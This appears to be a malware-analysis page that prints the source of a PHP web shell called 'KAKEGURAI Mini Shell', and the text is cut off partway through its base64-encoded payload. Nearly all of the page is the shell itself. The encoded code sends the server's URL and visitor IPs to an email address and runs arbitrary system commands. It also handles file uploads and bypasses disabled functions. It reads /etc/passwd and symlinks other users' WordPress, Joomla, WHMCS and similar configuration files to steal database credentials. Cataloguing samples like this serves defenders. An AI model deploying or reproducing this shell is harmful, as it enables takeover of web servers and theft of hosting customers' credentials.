PHP Malware Analysis

Shell2.php, titit.php

md5: b6f9684acc7268ddf4627e64460bb302

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<html>
  <head>
  <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
  <title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> &#9884; KAKEGURAI Mini Shell &#9884;</h1></center>
  <meta name='author' content='KAKEGURAI'>
  <meta charset="UTF-8">
  <link href="" rel="stylesheet" type="text/css">

<style>
body{
font-family: "Sarpanch", cursive;
	background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
	color:red;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:#000;
	-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
</head>




<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">

<?php 
$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFpbCwgIkxPR0dFUiIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KLy9mdW5jdGlvbg0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQogICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsNCiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICByZXR1cm4gJHJldHVybjsNCn0NCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICBmdW5jdGlvbiBpZHhfc3MoJGFycmF5KSB7DQpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KICAgIH0NCiAgICAkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gZXhlKCRjbWQpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICAgICAgICANCkBvYl9zdGFydCgpOyAgICAgICANCkBzeXN0ZW0oJGNtZCk7ICAgICANCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgDQpAb2JfZW5kX2NsZWFuKCk7ICAgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgICAgICAgIA0KQGV4ZWMoJGNtZCwkcmVzdWx0cyk7ICAgICAgDQokYnVmZiA9ICIiOyAgICAgICAgDQpmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgICAgICAgICANCiAgICAkYnVmZiAuPSAkcmVzdWx0OyAgICAgIA0KfSByZXR1cm4gJGJ1ZmY7ICAgIA0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAgICAgICAgDQpAb2Jfc3RhcnQoKTsgICAgICAgDQpAcGFzc3RocnUoJGNtZCk7ICAgICAgIA0KJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7ICAgICAgICANCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgDQpyZXR1cm4gJGJ1ZmY7ICANCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgICAgIA0KJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfQ0KfQ0KDQovL2NoZWNrIGRpcg0KJG5pY2sgPSAiazB2M1QiOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsNCiAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgJGdyb3VwID0gIj8iOw0KfSBlbHNlIHsNCiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICR1c2VyID0gJHVpZFsnbmFtZSddOw0KICAgICR1aWQgPSAkdWlkWyd1aWQnXTsNCiAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgJGdpZCA9ICRnaWRbJ2dpZCddOw0KfSANCi8vdW5hbWUNCmVjaG8gIjxicj48Yj48aT48Y2VudGVyPjxmb250IGNvbG9yPSM1ZGRjZmMgc2l6ZT0zPkN1cnJlbnQgRGlyIDogPC9mb250PiI7DQpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQokYSA9IHRydWU7DQplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7DQpjb250aW51ZTsNCn0NCmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOw0KZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCmZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7DQplY2hvICIkcGF0aHNbJGldIjsNCmlmKCRpICE9ICRpZCkgZWNobyAiLyI7DQp9DQplY2hvICciPjxmb250IGNvbG9yPXJlZCBzaXplPTM+Jy4kcGF0Lic8L2ZvbnQ+PC9hPi8nOw0KfQ0KDQojI1RPT0xCQVINCmVjaG8gIjxociBjb2xvcj0jNWRkY2ZjPg0KPGJyPjxjZW50ZXI+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nPycgY2xhc3M9J3RvbWJvbHMnPkhvbWU8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT11cGxvYWQnIGNsYXNzPSd0b21ib2xzJz5VcGxvYWQ8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1jbWQnIGNsYXNzPSd0b21ib2xzJz5Db21tYW5kPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Y29uZmlndjInIGNsYXNzPSd0b21ib2xzJz5Db25maWc8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1qdW1waW5nJyBjbGFzcz0ndG9tYm9scyc+SnVtcGluZzwvYT4NCjxicj48YnI+DQoNCjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPXN5bWxpbmsnIGNsYXNzPSd0b21ib2xzJz5TeW1saW5rPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9ZGlzYWJsZWZ1bmMnIGNsYXNzPSd0b21ib2xzJz5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbjwvYT4NCg0KPC9jZW50ZXI+PC9icj4NCjxociBjb2xvcj0jNWRkY2ZjPjxjZW50ZXI+IjsNCg0KLy91cGxvYWRzDQppZigkX0dFVFsnYSddID09ICd1cGxvYWQnKSB7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCmlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkJlcmhhc2lsIFVwbG9hZCBnYW4hPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkdhZ2FsIFVwbG9hZCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT0iNCI+DQpVcGxvYWQgRmlsZSA6PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz4NCjwvZm9ybT48YnI+DQo8L3RkPjwvdHI+JzsJDQoNCg0KfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY29uZmlndjInKSB7DQoJCQlpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJUaWRhayBiaXNhIGRpIGd1bmFrYW4gZGkgc2VydmVyIHdpbmRvd3MiKTwvc2NyaXB0Pic7DQpleGl0Ow0KfQ0KCWlmKCRfUE9TVCl7CWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0cycpIHsNCgkJQG1rZGlyKCJrMHYzVF9zeW12aG9zdHMiLCAwNzc3KTsNCmV4ZSgibG4gLXMgLyBrMHYzVF9zeW12aG9zdHMvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW12aG9zdHMvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KCQkkZXRjX3Bhc3N3ZD0kX1BPU1RbJ3Bhc3N3ZCddOw0KICAgIA0KICAgICRldGNfcGFzc3dkPWV4cGxvZGUoIlxuIiwkZXRjX3Bhc3N3ZCk7DQpmb3JlYWNoKCRldGNfcGFzc3dkIGFzICRwYXNzd2Qpew0KJHBhd2Q9ZXhwbG9kZSgiOiIsJHBhc3N3ZCk7DQokdXNlciA9JHBhd2RbNV07DQokamVtYm9kID0gcHJlZ19yZXBsYWNlKCcvXC92YXJcL3d3d1wvdmhvc3RzXC8vJywgJycsICR1c2VyKTsNCmlmIChwcmVnX21hdGNoKCcvdmhvc3RzL2knLCR1c2VyKSl7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy93cC1jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Xb3JkcHJlc3MudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWd1cmF0aW9uLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItSm9vbWxhLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlnL2tvbmVrc2kucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Mb2tvbWVkaWEudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9mb3J1bS9jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1waHBCQi50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1EcnVwYWwudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWcvc2V0dGluZ3MuaW5jLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItUHJlc3RhU2hvcC50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1NYWdlbnRvLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvYWRtaW4vY29uZmlnLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItT3BlbkNhcnQudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1FbGxpc2xhYi50eHQiKTsgDQp9fX0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAbWtkaXIoImswdjNUX3N5bWNvbmZpZyIsIDA3NzcpOw0KQHN5bWxpbmsoIi8iLCJrMHYzVF9zeW1jb25maWcvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW1jb25maWcvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpO30NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCkBta2RpcigiazB2M1Rfc3ltNDA0IiwgMDc3Nyk7DQpAc3ltbGluaygiLyIsImswdjNUX3N5bTQwNC9yb290Iik7DQokaHRhY2Nlc3M9Ik9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KSW5kZXhPcHRpb25zICtDaGFyc2V0PVVURi04ICtGYW5jeUluZGV4aW5nICtJZ25vcmVDYXNlICtGb2xkZXJzRmlyc3QgK1hIVE1MICtIVE1MVGFibGUgK1N1cHByZXNzUnVsZXMgK1N1cHByZXNzRGVzY3JpcHRpb24gK05hbWVXaWR0aD0qDQpJbmRleElnbm9yZSAqLnR4dDQwNA0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSBeLiprMHYzVF9zeW00MDQgW05DXQ0KUmV3cml0ZVJ1bGUgXC50eHQkICV7UkVRVUVTVF9VUkl9NDA0IFtMLFI9MzAyLk5DXSI7DQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICdncmFiJykgew0KCQkJCQkJbWtkaXIoImswdjNUX2NvbmZpZ2dyYWIiLCAwNzc3KTsNCgkJCQkJCSRpc2lfaHRjID0gIk9wdGlvbnMgYWxsXG5SZXF1aXJlIE5vbmVcblNhdGlzZnkgQW55IjsNCgkJCQkJCSRodGMgPSBmb3BlbigiazB2M1RfY29uZmlnZ3JhYi8uaHRhY2Nlc3MiLCJ3Iik7DQoJCQkJCQlmd3JpdGUoJGh0YywgJGlzaV9odGMpOwkNCn0NCiRwYXNzd2QgPSAkX1BPU1RbJ3Bhc3N3ZCddOw0KDQpwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2NvbmZpZyk7DQpmb3JlYWNoKCR1c2VyX2NvbmZpZ1sxXSBhcyAkdXNlcl9rMHYzVCkgew0KJGdyYWJfY29uZmlnID0gYXJyYXkoDQoiL2hvbWUvJHVzZXJfazB2M1QvLmFjY2Vzc2hhc2giID0+ICJXSE0tYWNjZXNzaGFzaCIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAiRHJ1cGFsIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jb25maWcvc2V0dGluZ3MuaW5jLnBocCIgPT4gIlByZXN0YVNob3AiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIgPT4gIk9wZW5DYXJ0IiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIiA9PiAiRWxsaXNsYWIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCIgPT4gIk15QkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYXJ0L2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZl9nbG9iYWwucGhwIiA9PiAiSVBCIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJeV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kZW1vL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdjIvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XSE1DUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XaG1jL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITS9